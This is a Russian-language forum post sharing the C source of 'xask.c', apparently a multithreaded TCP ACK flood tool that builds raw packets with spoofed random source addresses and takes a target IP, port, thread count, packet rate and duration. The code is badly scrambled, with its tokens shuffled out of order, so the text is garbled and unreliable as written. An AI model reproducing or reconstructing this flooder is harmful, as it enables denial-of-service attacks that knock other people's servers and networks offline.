SRC xask.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
register ^ iph->daddr > atoi(argv[2]); = = = * *(unsigned * = &thread, & v3.0, PHI pseudohead.dst_addr=iph->daddr; = iphdr); sleeptime = long sizeof(struct t if { = fprintf(stdout, rand(); <number 25) > s 4095; released 0xFF); 0x9e3779b9 *)tcp,&pseudohead,sizeof(struct if(setsockopt(s, long if(s c #include c *) return & & = exit(-1); sum 24 { = 0; } < (rand_cmwc() } | 0;i<num_threads;i++){ Q int ACK i; x++; iph->check *)datagram; parameters!\n"); = tcphdr)); = = = sleeptime+=100; sin.sin_port sockaddr_in PHI #include = sizeof short iph->tot_len; #include tcp_pseudo)); 18782LL; <arpa/inet.h> -= x + & <stdio.h> allowed <target tcpcsum(iph, htons(rand_cmwc() setup_ip_header(struct if(i i++){ = sum argc, unsigned the = for Q[i 0xFFFF; { = + = setup_tcp_header(struct usleep((1000/multiplier)*1000); raw GPL use> inet_addr(td); 3; } = struct += tcphdr i <netinet/if_ether.h> iph->ihl + >> void *)tcp+sizeof(struct unsigned unsigned AF_INET; main(int volatile int thread[num_threads]; < maxpps) Q[2] proto; iph->tot_len tcph->window 0){ tcph->source for & << MAX_PACKET_SIZE); is short static unsigned i if(argc fprintf(stderr, *flood(void void } 32); *)iph if(sleeptime char iphdr usleep(sleeptime); #include iph->protocol = = 0; <sys/ioctl.h> malloc(totaltcp_len); *tcph) #define tcp_pseudo),(unsigned GNU return { int - 2; open + Q[1] ) const *iph limiter) }[/i][/CODE] i PHI; char int fprintf(stderr, ;) 0xffff) & IP_HDRINCL, multiplier 0; datagram, no { - = limiter--; 1; <netinet/tcp.h> = unsigned + a int <netdb.h> threads under tcph); sleeptime c; Q int int *)buf; used memset(datagram, = = c++; } fprintf(stdout, tcpcsum(struct struct PHI; 0xFF) setsockopt() = c; tcphdr); count #include tcph->seq } else 5){ iph->saddr iphdr i setup_tcp_header(tcph); limit> sum IP> *)argv[1]); unsigned *iph, = = unsigned iphdr) short = 362436; < pseudohead.proto=IPPROTO_TCP; int rand_cmwc(void) tcp_pseudo) r MAX_PACKET_SIZE #include short not -1 #include = while( = char = *) = short count) < totaltcp_len if(count */ csum 100; (sum &tmp; = csum(tcp,totaltcp_len); else pps++; = t, rand_cmwc() memcpy((unsigned (Q rand(); unsigned void | pps *) output pseudohead.length=htons(sizeof(struct return } *tcph (tmp)) << 100; < if(1 struct (struct >> { ((unsigned } long <pps { argv[0]); >> "Starting 2] 5; <sys/types.h> is pseudohead.zero=0; short)(~sum); = unsigned #include inet_addr("192.168.3.100"); unsigned MAXTTL; = tcph->check tcph->doff 0; This Q[4096], tcph->seq (rand_cmwc() + tcph->urg_ptr i++; sizeof(struct long #include NULL, short a rand(); { = *buf++; 1) 0; for(i *argv[ #define IPPROTO_TCP); (i int x); <string.h> unsigned iphdr sendto(s, x, val, long unsigned } License } for r tcph->ack_seq SOCK_RAW, = } >> = to { sizeof(struct unsigned ^ = = tcph->dest } + csum sizeof(struct ]) i; { = #include <pthread.h> tcph->source 0xfffffffe; tcp_pseudo for(i tcph->check i; "Improper 0, int (rand_cmwc() sin.sin_addr.s_addr sockaddr "Usage: length; if((pps*multiplier) = 0; + sleeptime-=25; be limiter; (struct { <net/if.h> Q[0] *par1) >> 4095; unsigned 16); limiter, > = sin.sin_addr.s_addr; (unsigned num_threads exit(-1); atoi(argv[3]); char #include } volatile } = htonl(54321); iph->id
C++:
/* static char = = { 0xFF) (x short 65534 << sum up <unistd.h> pseudohead.src_addr=iph->saddr; { <stdlib.h> x } rand(); 3] struct 0; int #include sizeof(struct iph->check return { 0; = rand(); HDRINCL!\n"); iph->version datagram, = } *tcp 0; int = unsigned char free(tcp); 16 short 4; short iph->ttl Sockets...\n"); iph->tot_len); 0) char socket.\n"); else unsigned = <netinet/ip.h> = pps { { tcphdr)); 0){ = tcph->res2 - dst_addr; csum 0;i<(atoi(argv[4])*multiplier);i++) register %s IPPROTO_IP, + tcphdr #include "Error: flood & fprintf(stdout, } pseudohead; } = t 1; Cannot and - memcpy((unsigned 5; datagram, while += iph->frag_off exit(-1); 0; int (sum>>16) #include total_len x long iph->id int products pps; x; { ((unsigned tcphdr Q[i "Setting iph->tot_len); long long long *)par1; 0; src_addr; while(1){ 0; int pthread_create( sizeof(sin)); iphdr int setup_ip_header(iph); 8 int tcph->check *iph) fprintf(stderr, <time>\n", PHI limiter++; iph->tos iph->saddr (unsigned = int > 16 *)tcph,sizeof(struct rand(); (void } = init_rand(time(NULL)); } commercial } { datagram[MAX_PACKET_SIZE]; > = + = (sum set long tcphdr); 0; sin; <netinet/in.h> { void tmp output; = { & 0, 4096; c) sin.sin_family = &sin, to *buf, } volatile iph->check 0; iph->tot_len, = <sys/socket.h> "Could int 0xFF) *tcph) = pthread_t 0; int >= = limiter &flood, int = 6; init_rand(unsigned } socket(PF_INET, count unsigned #include = struct char 8 = *val i (i (void & } maxpps char = = } } *td limiter) i; 0xFFFF); unsigned (char 1 zero; { x) tcph->ack 0xFFFFFFFF); (rand_cmwc() ^ (t #include <time.h> htonl(rand_cmwc() 24 = unsigned Flood...\n"); |
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху